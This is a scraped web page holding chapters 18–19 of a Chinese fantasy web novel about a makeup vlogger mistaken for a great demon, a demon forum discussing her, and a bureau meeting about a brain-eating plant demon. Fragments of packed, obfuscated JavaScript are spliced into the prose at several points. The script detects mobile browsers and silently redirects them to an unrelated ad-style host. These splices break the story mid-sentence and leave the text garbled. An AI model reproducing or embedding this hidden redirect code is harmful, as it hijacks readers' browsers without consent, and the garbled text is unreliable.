l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14862222|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一事：“对了，我想拿一些你的树叶。” 本来是想着去银杏树下面捡的，但想着就算掉下来了，但也毕竟是落秋的树叶，感觉还是和她打一声招呼比较好。 落秋微顿了下，问：“大人要多少？” 游书姝思索了一下：“十片左右就差不多了吧？” 实际用上的可能就几片，出于保险起见，游书姝说了十片。 落秋手腕一个反转，手中便多出了一小叠银杏树叶，双手递过来给她。 游书姝愣了下，伸手接过，心里还想着妖怪就是方便，能直接变。 想到落秋这儿还是弄叶雕的，有不少树叶标本，游书姝寻思她这儿会不会也有收集自己往年秋天掉下的银杏树叶，于是便问：“你这儿有秋日金黄色的叶子吗？” 落秋微微点头：“大人想要多少？” “嗯……也是十片左右吧。” 于是落秋又给她变出来了一小叠金黄色的银杏树叶。 游书姝接过叶子，倒也没想太多，只当是普通的树叶，谢过落秋之后便回去了。 落秋在送她离开了云杏寺后，折返的途中，脸上露出了些许困倦之意。 那树叶是从她自己身上取下来的，和外边银杏树上的树叶可不一样，这是本源。 一下子折了这么多树叶出去，多少还是有些损伤。不过大人既然开口和她要了，她也不好不给。 不过她倒是也没有什么不情愿的，大人是个宽厚的，今日她给了这树叶，往后若是有什么事，想必大人念在今日这几片树叶的份上，也会照拂她一二。她这也算是拿这几片叶子卖了个好了。 今天这体验处怕是开不了了，正好刚刚已经把东西都给收了，落秋便想着去把休息室的茶盏都给收拾了，今天就直接下班回去休息。 回到休息室，她的目光便落在了桌上的首饰盒上。 她也是有些好奇游书姝给她留下了什么，便上前拿起那个小首饰盒打开了。 入目是一个看上去极其简单的吊坠，落秋却是神色一惊。 这…… 她怔愣了好一会儿，随后勾唇一笑。 在银湖区的妖怪当中，落秋算是见多识广的了。 这吊坠里刻印的防御术法可不简单，只怕是在一些大妖手上都是会当作宝贝贴身留着保命用的，大人竟是就这么随手给出来了，甚至包装都是随手拿的普通首饰盒，真真是…… 这可比她那些树叶价值高多了，落秋将那吊坠仔细收起来，随后对着游书姝小区那个方向微微鞠了一礼：“多谢大人。” —— 这一晚，因为想着尽早将下一个视频给弄出来，所以游书姝一直都忙着整理白日里从落秋那儿听来的东西，将大概的妆造设计图给画了出来。 明天要是光线好的话，应该是明天就能把妆给弄出来了。 而在她埋头干活的时候，妖妖灵的论坛上一个不是很起眼的帖子被发了出来—— ［只有我觉得今天热搜上那个当红炸子鸡推荐的仿妆视频仿得跟真的一样吗？］ 18.第18章 游书姝的视频终于还是被妖怪们给看见了。 其实也不是一件让人意想不到的事儿，毕竟游书姝作为陆扶光的义母已经上了热搜了，就这个曝光度而言，不被妖怪看到才有问题。 只是游书姝自己没太在意，因为神仙精怪的仿妆以前也不是没有人做过，相反做的人还挺多的。游书姝做这个主题之前，还去看过别人是怎么做的，进行学习参考。 但是游书姝遗忘了一件事情──仿妆仿妆，别人那是仿，她这是真的把自己化妆化成妖怪了。 就像是外地人融入当地融入得再好，口音、饮食、习俗都学了，还是会有土生土长的本地人看出他是外地来的。 游书姝的视频里那种扑面而来的妖感，妖怪们看完后都一个机灵，感觉对方要么是真正的妖怪，要么就是见过真正的妖怪。 于是才有妖怪悄咪咪地在妖妖灵的论坛里发了这么一条。 很快，这个帖子就被人给顶起来了。 ［我靠，我还以为就我一个这么觉得呢。］ ［我也。］ ［你们在说啥呀？是哪个大妖吗？怎么还加密通信？］ ［就是今天微博热搜上的那个小鲜肉，叫陆扶光的。他转发了一个美妆博主的仿妆视频，仿的是妖怪，龙女。］ ［不就是妖怪仿妆嘛，有什么稀奇的？］ ［卧槽卧槽，我刚刚去看了，真的好像！这小姐姐就是个妖怪吧！楼上的快去看，真的绝了。］ ［不确定是不是咱们自己妖，但感觉就算不是妖也是除妖师，没见过百八十个妖怪，画不出来这效果。］ ［应该是自己妖吧？她视频里推广的那个可是娇颜耶。］ ［对呀，那可是娇颜啊，小姐姐怕不是那位的麾下。］ ［？楼上在说啥？娇颜咋了？］ ［楼上是平时不化妆吧？娇颜是颜氏集团名下的化妆品品牌。］ ［嘶……那这位怕是青洲那边的了，要不然就是除妖师的主和派。］ ［视频开头不是说人在瑶京嘛？］ ［说不定是外派呢？中洲也好些年没有大妖能统筹了，说不定那位大人这次是想把中洲也给揽下呢？］ ［乐，那个博主视频里脸上的水纹确认是在动没错了，多半是妖术做出来的效果，结果一群人都在夸博主视频特效做得好。］ ［实不相瞒我也夸了（狗头）］ ［我也（菜狗头）］ ［斯哈斯哈……只有我一个妖觉得小姐姐好漂亮吗？不知道小姐姐是什么妖，接不接受一夜情，几夜情也可以啊。我可男可女，上下都可啊。］ ［我！我也！看我，姐姐我是蛇妖，我有两根！］ ［你们这些□□妖怪能不能等确认对方身份了再跳啊？别到时候约到一个除妖师或者约到大妖头上去，啧啧啧。］ ［友情提醒：据说龙女可是保底三字姓的大妖。］ ［靠，不早说，我现在就回去删了刚刚那条。］ ［晚了，我已经截图了。（邪恶狞笑）］ ［淦。义父！爸爸！别这样──绕我一命（跪地求饶）］ ［来陪我睡一晚，我可以考虑。］ ［现在论坛里面骗炮已经这么明目张胆了吗？］ ［乌洲妖怪集合点在此。］ ［谢了，集合。］ ［集合］ ［集合］ ［理解一下他们□□妖怪吧，我上次见到有一个獭怪，一周没找到个一起做的，差点嘎了，啧啧啧。］ ［这样吗？那还挺惨的……］ ［笑死，该不会真有妖以为那是真的龙女吧？醒醒，龙女早就在千年前就灭绝了，咱们这个年头压根就没有什么龙女，我也没听说过哪儿还有什么龙女的。］ ［但是有一说一，她说的关于龙女的或许都是真的。我刚刚特地去翻了下《天知地知我知知知》，除了有几条上面没记载，其他大部分都对得上。］ ［我可以确定都是真的。］ ［嘶……本来还想着谁这么狂妄，定睛一看，二字姓的大佬！拜见大人。］ ［拜见大人+1，大人您还缺腿部挂件吗？］ ［拜见大人+2，大人您缺揉肩捏脚的吗？］ ［拜见大人+110，大人您缺厨子吗？］ 之后楼就有些偏了，一堆小妖怪出来抱大妖大腿的。不过也确实是把这帖子给顶热了起来，后面又有不少妖怪看到了这篇帖子，跟着去看了游书姝的视频，就回来在帖子里跟着一起讨论。 妖怪们讨论下来还是有两个 夜晚本来就是妖怪们最为活跃的时间，一晚上下来，各州的妖怪又把陆扶光的热搜和游书姝的视频热度又往上推动了一截。而这自然也引起了一些大妖怪们的注意…… 青洲，颜氏集团…… “尊上，娇颜那边有个推广视频火了，论坛里有妖怪猜测说那个博主是咱们派去的，但是排查了一下，发现不是咱们手底下的人，不知道是不是尊上您另外安排的？” “嗯？”电脑桌前的男子转过头来，墨发之下，眸中仿若有星移斗转。 随后，眼眸中的星象变化淡去，他唇角微微勾起一个弧度，温和道：“确实不是我们的妖，不过不必管，便由她去吧。妖管局那边，若是来问，也照实说就是了。” “遵命。” “对了，这里这个方案需要修改一下，我已经把需要改动的部分都标出来了，你拿去策划部，让策划部的妖怪们今晚加个班吧。” “是。” 乌洲，山林云雾间…… 底下的妖怪刚刚走过来，正要禀告：“尊上……” 鹤发老者盘膝而坐，既没有回头，也没有开口，但声音已经传出来了。 “静观其变。” “是。”下面的妖怪领命而去。 朱洲，华美的宫殿之上，侧倚在榻上的女妖身姿娉婷，一边用狐狸尾巴的尾巴尖刷着平板屏幕看热搜，一边慢条斯理地用芊芊十指剥荔枝，一边听底下的妖怪汇报着这件事。 “尊上，传闻说这位可能是青州那边派来的，您看我们要不要……” 榻上的美人一个挑眉，笑了：“这可不是颜莫己那家伙的安排。” 她尾巴尖戳了戳那条热搜：“不过确实，热度太高了可不一定就是好事。去把热度压一压，差不多就得了。” “属下领命。” ── 第二天，游书姝一早就收到了院长妈妈寄来的包裹──那块据说是孤儿院的人在发现她时就裹在她身上的棉布。 是一块白色的棉布，织得并不紧实，又绵又软。令人意外的是这么多年竟然没有半点泛黄的迹象，但除此之外似乎也看不出有什么特别的了。 游书姝没能从上面看出什么端倪来，只能想着改天再找人帮自己看看。 或者找妖怪。 就在她将棉布叠起的时候，她听到了门外传来的动静，听上去像是行李箱拖动的声音。 游书姝下意识向门口方向看去。 这几天来送供奉的妖怪依旧不少，游书姝已然习惯，只以为是又有什么妖怪拿着东西过来了。 她放下手中的棉布，来到门边，这样能方便她听清门外的妖怪说什么。 毕竟她现在可没有妖怪的超绝听力，只能这样处理。 不过令她意外的是，她听到了智能门锁解锁的声音。不过并不是她这扇门，而是……对门。 她有些讶然。 对面原来住了人的吗？ 她住的这栋楼是一梯两户，但她搬过来有一阵了，一直没见对门有人，还以为对门没人住呢。 也正是因为她以为对门没人住，所以妖怪们一个个上门来她也没太担心被其他人发现。 现在看来……自己这位邻居是出远门刚回来？ 不过这样一来，以后要是被邻居听到了她和妖怪们的隔门对话…… 思索着，游书姝贴到门边，凑近猫眼，准备去看一看自己这个邻居是什么人。 透过猫眼，她看到了被裙撑撑起一个漂亮弧度的蓝白色蛋糕裙和夸张华丽的精美帽子下的棕褐色罗马卷发。 像是一个漂亮又精致的小蛋糕。 好像……是个lo娘？ 在她愣神的时候，对面的门已经关上了。 游书姝原本还有些担心对门多了个邻居以后要是有妖怪过来会不会被对方遇见，但是后面想了想又觉得应该问题不大？ 妖怪们既然能像这样子在人类社会中生存，想来应该早就有了自己的一种隐藏方式？ 要是实在没有，那她就只能在门口贴个［请勿在门口喧闹］的条子了。 这么想着，她也就没太关心这个邻居了。 没想到的是，在她准备下楼去买点菜的时候，正好遇见了这个邻居。 她正要关上电梯门，就听到那边房门被打开的声音，随后是急匆匆地一声喊：“等一下！” 在她开口的时候，游书姝其实就已经按下了开门按钮。 还是那身蓝白色对于日常而言有些夸张的lolita，对方的妆造确实是不那么日常的，但很漂亮。 看上去只有巴掌大的小脸，脸颊处还带着些婴儿肥，圆溜的杏眼睫毛卷翘，妆容精致得像是洋娃娃一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14868772|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知道是不是错觉，游书姝竟觉得对方有几分眼熟。 “谢谢谢谢～”对方迈着小碎步跑进电梯里，声音也和她的相貌差不多，娇嫩得像是一只水蜜桃。 见到游书姝，她先是一愣，随后顿时惊喜地叫了游书姝一声：“姝姐！” 游书姝的脑袋后面默默钻出一个问号：？ 她应该是可以确定自己不认识对方的。 “小蛋糕”大概也是看出来了她的些许讶异，连忙解释：“啊，不好意思，我太激动了。那个……小姐姐你是姝姝吧？就是做美妆的那个。” “啊……是。”游书姝后知后觉地反应过来……自己这几天好像确实一下子有点火，这是被认出来了。 “那我可以叫你姝姐吗？我看大家都这么叫。”“小蛋糕”眼中布灵布灵闪着光看她。 游书姝：其实之前只有陆扶光一个人这么叫。 但现在好像大家都被陆扶光给跑了…… 她微笑着点了点头：“可以。” 见她同意了，“小蛋糕”笑得更开心了：“哦对了，还没做自我介绍，我是举一个大栗子，不知道你没有有刷到过我的视频，我是做lolita模特的，之前也有做过美妆的视频教程！” 举一个大栗子？ 游书姝想起来了，她确实是有刷到过她的视频。 虽然美妆和lo娘并不属于一个赛道，但都归在时尚区，而且lo娘也是要有精致妆容的，所以两个门类之间确实有一些“沾亲带故”。 这个小姑娘的名气不小，在lo圈也是数一数二的知名种草姬了，粉丝量级跟游书姝都不是一个量级的。 嗯……不过游书姝现在也算是沾了陆扶光的光成功破圈了。 游书姝莞尔一笑，对对方说道：“难怪我说觉得你有些眼熟呢，原来是你。我确实有看过你的视频，你……我该叫你什么？栗子？” 栗梓连连点头：“嗯嗯！叫我栗子就好！我本名也是叫栗梓，只不过是木字旁一个辛苦的辛那个梓。” 游书姝笑：“很可爱的名字，你父母应该也是很有趣的人。” 栗梓甜甜地弯起眼睛：“嘿嘿，是吧？我也这么觉得。说起来，姝姐你是住在我对门吗？” “对，我是上上周搬来的，前段时间一直没见对门的有动静，还以为对面没人住呢。” “哦哦，那是我前段时间接了商单去皓洲参加漫展了，然后顺便在那边玩了一段时间，今天才刚回来。” “原来是这样，皓洲好玩吗？” “还行吧，感觉皓洲还是要在冬天的时候去才更有意思，像什么滑雪呀、冰雕呀之类的，季节去都没有呢。” 二人一同聊着到了楼下，栗梓问游书姝这是要去哪儿。 游书姝：“去买些菜，你呢？” “真巧！我也是要去买菜！我还打算去超市买点饮料，如果我到时候还能提得动的话。” 游书姝看了下她那一身小蛋糕似的精致裙子：“你穿这一身去买菜吗？” “对呀！”栗梓在她面前轻巧地转了一圈，俏皮地问，“怎么样？好看吧？” “好看是好看，就是感觉穿去买菜会不会弄脏？” “不会啦，小心一点就好了。我平日里都这么穿的，就算真的弄脏了，洗洗也就是了。” “也是。” 因着二人都要去买菜，栗梓就干脆拉着游书姝跟她一起去。她很是自来熟，游书姝也并不抵触这样，二人便这么同行了。 栗梓的这身打扮确实是惹眼，一路上时不时会有人朝他们看过来。这还是游书姝第一次走在大街上这么惹人注目。 不过现如今穿什么上街的都有，大家的目光也更多是好奇和欣赏。在菜市场的时候，卖菜的阿姨还夸她的裙子很好看。 两个人都是做自媒体的，又是同龄，而且都是独自一人居住在瑶京，倒是也有不少的共同话题，一路上都聊得很投机。 回到小区，见马上要到家了，游书姝和栗梓彼此先加了个好友。 游书姝一看栗梓的昵称：栗栗皆心苦。 她莞尔一笑。 看来不只是栗梓的父母喜欢这种同音梗，栗梓本人也挺喜欢的。 “姝姐，咱们改天有空一起出去吃饭啊！我知道好几家超好吃的餐厅，到时候我带你去！”栗梓捏着手机，很是热情地说道。 难得能在新的城市认识一个朋友，游书姝也觉得心情很好，自然是答应了下来：“好。” 二人一同乘坐电梯到了她们的楼层，电梯门一开，游书姝就愣了一下。 电梯外，是刚好要进电梯的石瑚。 19.第19章 石瑚是来给游书姝送妖力检测仪的，申请已经被妖管局上级批准了，同时上级也送来了颜氏集团那边的回复，说这位并不是他们安排的。 只不过……因为娇颜那边看上去并没有要撤掉和这位合作的意图，所以总部那边的意思是这位应该不是主战派的，能交好还是尽量交好。 知道401小队之前和游书姝交涉的过程后，上级还给予了表扬，肯定了他们这样的做法。 批准石瑚这个要把妖力检测仪借给游书姝的申请，也是妖管局那边想向她释放一个友好的态度。但是因为先前石瑚和游书姝并没有约定过上门的时间，所以石瑚正好碰上了游书姝出门买菜的时候过来。 敲了一会儿门没人应，石瑚就打算改日再来了，没想到正好碰上了回来的游书姝。 她也是愣了一下，目光扫了一旁的栗梓一眼，这才道：“游女士，我来给你送东西。” 栗梓也很有眼力见，见这位身穿制服的飒姐姐是来找游书姝的，指了指自己的家门，对游书姝说：“姝姐，那我就先回去，咱们改天再约啊。” 游书姝微笑着和她点点头：“嗯，好，拜拜。” 栗梓笑嘻嘻地和她挥挥手，然后回了自己家。 等到栗梓那边的门一阖上，游书姝脸上的温婉笑意就立刻收敛了许多，看了眼石斛手里提的东西，道：“有劳石队长特地跑一趟了。” 这一秒变脸的模样，不知道的还以为她不欢迎石瑚呢。 其实是游书姝也觉得有些尴尬，一时间不知道究竟该对石瑚友善一些还是冷淡一些，然后就成了这副看上去似乎有些不冷不热的态度。 好在石瑚早就已经从她的视频里知道了她的两面，所以并不觉得这样有什么不妥。 在她看来，冷淡且难以捉摸的模样才是这个大妖的本性，而那个温和友善的模样是她在伪装游书姝这个身份。 这头，游书姝错开石瑚来到自家门前打开了房门：“石队长进来说话吧。” 现在对门有了个栗梓，游书姝觉得在门外说话有些不大方便。 不过石瑚这回却不是来久待的，她婉拒了：“不用麻烦了，我一会儿还有公务，我今天只是过来送下东西的。” 她将手中的袋子递给石瑚：“这是游女士你上次要的东西，我给你带来了，使用说明也在里面，你看下吧。” 游书姝接过袋子往里面看了一眼，虽然她其实也没见过妖力检测仪，就一副明明不懂但还要装作自己很了解的模样，点头道：“嗯，多谢。” “没什么别的事的话我就先走了，我在说明书上留下了我们小队的联系方式，游女士要是以后有什么事，也可以通过电话联系我们。” “好。” 给游书姝送完东西，石瑚便离开了。 并不是找个理由要走，石瑚是真的还有事要去做，否则也不会在游书姝家门口敲了会儿门没见到妖就要离开。 从小区出来，石瑚上了车就往瑶京的市中心方向赶。她今日要去市总部开会。 好在今天也没有堵车，她一路顺畅地来到了特殊协调管理局的市总部，而瑶京各区的小队长也都已经齐聚在这里了。 很快，会议时间到了，市总长和市副总长一前一后地走进会议室。 “大家都坐吧，今天让大家过来的原因你们应该也都已经知道了？” 众人纷纷点头。 在瑶京的西面，与他们接壤的城市叫吴陵，再往西是惠江城。 前些日子，不知道是哪里来的妖怪，把惠江城搅得不得安宁。失踪人口一个个报上来，却是一个都找不到去向。而且随着时间的推移，犯案者的犯罪欲望似乎越发强烈，每次人口失踪之间相间隔的时间也是越来越短。 不仅仅是人类，一些小妖怪似乎也出事了，这使得最近有不少惠江城那边的小妖怪都往外跑，惹得周边的城市最近都有些动荡。 毕竟谁也不确定这些从惠江城跑出来的妖怪到底是不是都安分，各地都加强了警戒。 上一次省部开会就重点提到了这件事，还特别点名批评了惠江城那边，要求他们尽快解决这件事。 听说在那之后，省总部就派了省队的人下来，据说是公卿级的除妖师，也不知道查出些什么没有。 如果只是这样，其实这件事情和他们的关系倒也不是那么大，只需要注意好有没有惠江城那边过来的妖怪中有没有潜在危险分子就可以了。 另外，因为他们瑶京这儿也突然冒出来一个大妖——没错，说的就是游书姝。 妖怪们那边也是消息灵通，小妖们不知道这个大妖是个什么来历，也都害怕，所以跑来瑶京的妖怪相比较其他地方的反倒还少许多，他们瑶京各小队的压力也要比其他地方的同僚小了不少。 虽然这是以石瑚他们401小队面对游书姝时的压力山大所换来的。 某种角度来说，也算是一种压力守恒。 但这几天情况不太一样了。 省队下来的人应该也是给这个作恶的妖怪带来了一些麻烦，最近东躲西藏之下，似乎是往他们东面过来了。 当然，他们也是从后续人口失踪的地点判断出来了对方的动向。 就在昨天——隔壁吴陵有人口失踪的案件被报了上来，现场勘探除了妖力残留。在和惠江城那边进行了一下对比后，判定为同一个妖怪所为。 也就是说……这个妖怪，往他们东面来了。 这也就是市总部着急忙慌地将他们全部召集过来开会的原因，不管那个妖怪究竟会不会到他们瑶京来，他们都必须提前做好应对的准备。 相关的文件被发放到一个个队长们手中，坐在首位的市总长开口道：“这是从惠江城和省队那边同步过来的相关资料，你们都看看吧。” “目前已经有失踪者被发现了，被发现的时候其头部有空洞，颅内脑部是空的，判断这个妖怪应该是以人脑为食，或者是以人脑来练功，其余的失踪者……或许也都已经遇害了。” “因为创口很像是植物根系造成的，目前初步推测是植物类，残留的妖力检测出来应该是公卿级的。” 植物类的妖怪，也就是植物化妖。除此之外常见的还有动物化妖、器物化妖。 而植物类妖怪中也并不是都像落秋这样扎根一方土地很深，一般不愿意挪窝的类型，也有一些是到处跑的。 众人看着文件中调查到的信息。 其实那些信息并不是那么全，既不知道对方是什么妖，也不知道对方的姓名。 中洲地区妖管局和妖怪们之间的关系好坏有一半都得看运气，并不是所有地方的妖管局队员都能像石瑚这样跑去当地小妖怪中的领头羊打听消息，甚至到大妖家里去登门拜访。 一个公卿级的大妖，并且是确定对社会威胁性很高的大妖，疑似要到他们的辖区来，众人也是打起了十二分的精神，会议上敲定了不少近期需要多加注意的点。 不过相比较之下，比起西面的几个区，负责东面几个区的小队队长要稍微轻松那么一些，毕竟——银湖区有个大妖在呢。 妖怪们的领地意识很强，而银湖区这个大妖目前的判定等级是王侯级，虽说目前看来这位似乎并没有要往发展势力的意思，但银湖区那一片基本上已经算是她的地盘了。这个惠江城来的妖怪如果不是脑袋被驴踢了或者就想找死的话，应该不会往这边凑。 不过石瑚这个银湖区的小队长却并没有因此就对这次会议内容不上心的意思，她依旧非常仔细地听着大家的发言，并且跟着一起积极思考着这种策略。 会议结束，市总长再次强调：“我知道，咱们市里出了一个二字姓的大妖，或许这次这个妖怪有可能不会往咱们这边过来。但这也只是我们的猜测而已。” “无论如何，我们都要做好万全的准备，不能抱有侥幸心理。希望诸位回去后都能将我们这次会议上提到的各项内容都认真负责地落实下去。” 诸位队长齐声应是，会议结束。 会议结束后，因为游书姝的事情，市总长特地又把石瑚给留了下来，和她说了一下。 “目前这个大妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14870562|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然目的不明，但对我们的态度还算是比较友善。现在你是我们这边已经和对方产生过接触的人，对方应该是对你并不抵触的。如果可以的话，我希望你能尽量和对方维持好一个相对友好的关系，这也是总部那边的意思。” “青洲那边的情况你应该多少也有听说过，如果能够和这样一位大妖打好关系，对于我们日后的工作也是会有不小帮助的。” 石瑚认真点头：“是，我知道，我会尽力去做的。” —— 花开两朵，各表一枝。在石瑚和一众瑶京的小队长们开会的时候，游书姝在家里研究着那个妖力检测仪。 有一说一，这个妖力检测仪……长得有点像地铁、高铁还有机场入口处安检员手里拿的那个金属探测器。 游书姝也不知道是怎么把术法和科技结合在一起的，说明书上说是用了一个叫［异闪异闪梁晶晶］的东西。 游书姝：“……” 这熟悉的命名风格，这原材料绝对是妖怪这边的没跑了。 反正她不觉得官方在给东西取名的时候会用这种无厘头的命名方式，否则妖管局的全称绝对不会是特殊协调管理局怎么朴实无华。 说明书里也没介绍这个异闪异闪梁晶晶是什么东西，只是教了使用方法和亮灯以后不同颜色的灯代表什么意思。 使用方法非常无脑，没有说明书都会用，毕竟上面只有一个开关，连充电口都没有，科学中隐隐透露着一些不科学。 按下开关后，如果亮白灯就是没有妖气，亮黄光意味着是小妖，橙光就约莫是个带名字的了，亮红光就是公卿级大妖没跑了，要是直接炸了——那快跑吧，公卿级以上，已经超出仪器负载了。 检测范围是三米，闪烁越频繁说明距离越近。 游书姝试着按了一下，仪器直接亮起了黄光。 游书姝：？ 她第一时间以为自己真是个妖怪，过了会儿才反应过来这上面的闪烁频率好像不是很快。 虽然她也不知道怎么样才算快，但这个频率……怎么着都不能用快来形容吧？ 她试着在前后左右都走了走，然后顺着闪烁频率的指引，一路找到了……客厅那一堆供奉上。 啊…… 感情是这些供奉的东西上残留的妖气。 还得离这些供奉远一点。 这么想着，游书姝拿着检测仪进了卧室里，再次摁下开关。 白光。 没有妖气。 游书姝有些迷糊了。 现在，妖妖灵的论坛似乎又认可她是个妖，然后这个妖气检测仪又认定自己是个人。 她到底是个啥？ 沉默，在游书姝的卧室里蔓延。 好一会儿，游书姝决定先放下这个问题，把饭吃了再说。 饭后，她看着窗外的天气，感觉屋内光线也很是不错。 把古杏妖的视频给录了吧。 这么想着，她拿出了自己的化妆品、相机以及昨日从落秋那儿得来的银杏树叶。 emmm…… 应该不会再像上次那样了吧？ 话是这么说，但游书姝还是觉得有些莫名的忐忑，于是将上一次使用过的化妆品全都挑了出来，放到一旁去，决定这次不用这些。 好在她作为美妆博主，化妆品足够多。 再看着面前的这些化妆品，游书姝心想：这样应该就不会再来一次吧？ 这么想着，她又开始了新一轮的妆造打扮。 一个小时后…… 游书姝默默掰了掰脑后好像真的长在了自己头上的树杈子，又收起莫名其妙再次从身上溢散出去的妖气，把那个已经被收起来的妖气检测仪又给拿了出来。 再次摁下。 “啪”的一声，妖气检测仪里飘出一小缕黑烟，还伴随着一种稻谷被烧焦后的焦糊味。 游书姝：“……” 比起自己又变成了妖怪这件事，游书姝现在更想知道的是…… 这个检测仪……她赔得起吗？